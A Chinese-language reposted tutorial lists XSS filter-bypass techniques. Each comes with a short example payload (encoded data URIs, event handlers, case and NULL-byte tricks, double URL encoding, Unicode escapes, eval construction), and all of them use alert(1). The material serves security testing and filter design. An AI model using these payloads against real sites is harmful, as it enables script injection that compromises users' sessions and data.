XSS過濾的繞過


XSS過濾的繞過

腳本標簽

如果script被過濾的話,可以使用偽協議的方法:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==為base64編碼的<script>alert(1)</script>

事件處理器

不需要用戶交互的可執行js的事件處理器:

  onreadystatechange(xml,style,iframe,object,img,input,isindex,bground)
  onpropertychange
  onbeforeactivate
  onfocusin
  onactivate
注意:在HTML5中,結束標簽中也可以使用事件處理器

腳本偽協議

腳本偽協議可以用在各種位置,在需要URL的屬性中執行行內腳本,如:

<object data=javascript:alert(1)>

標簽名稱

通過改變標簽名稱的大小寫,可以避開最簡單的過濾:

<iMg onerror=alert(1) src=a>

更進一步,可以在任何位置插入NULL字節:

<[%00]img onerror=alert(1) src=a>

<i[%00]mg onerror=alert(1) src=a>

或者,可以將標簽作一改變,即可避開僅僅阻止特定標簽名的過濾:

<x onclick=alert(1) src=a>Click here</x>

標簽名稱后的空格

可以使用:/,[%09],[%0d],[%0a],/”,/’來代替,如:

<img/onerror=alert(1) src=a>

通過HTML編碼繞過過濾(也可以使用十進制&#114,十六進制&#x114)

使用HTML編碼,在進一步處理屬性值的時候,瀏覽器會對其進行HTML解碼:

<img onerror=a&#x6c;ert(1) src=a>

如果存在兩次URL解碼

可以通過構造:

%253cimg%20onerror=alert(1)%20src=a%253e

第一次URL解碼以后:

%3cimg onerror=alert(1) src=a%3e

第二次URL解碼以后:

<img onerror=alert(1) src=a>

字符集繞過

UTF-7,US-ASCII,UTF-16(這種方法只有在瀏覽器支持所用的字符集才可以,或者你可以控制HTTPContent-Type消息頭)

使用js轉義

Unicode轉義可以用於表示js關鍵詞中的字符

<script>a\u006cert(1);</script>

通過eval命令來動態構建字符串

<script>eval('al'+'ert(1)');</script>

替代eval的方法

`<script>'alert(1)'.replace(/.+/,eval)</script>`
---------------------


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM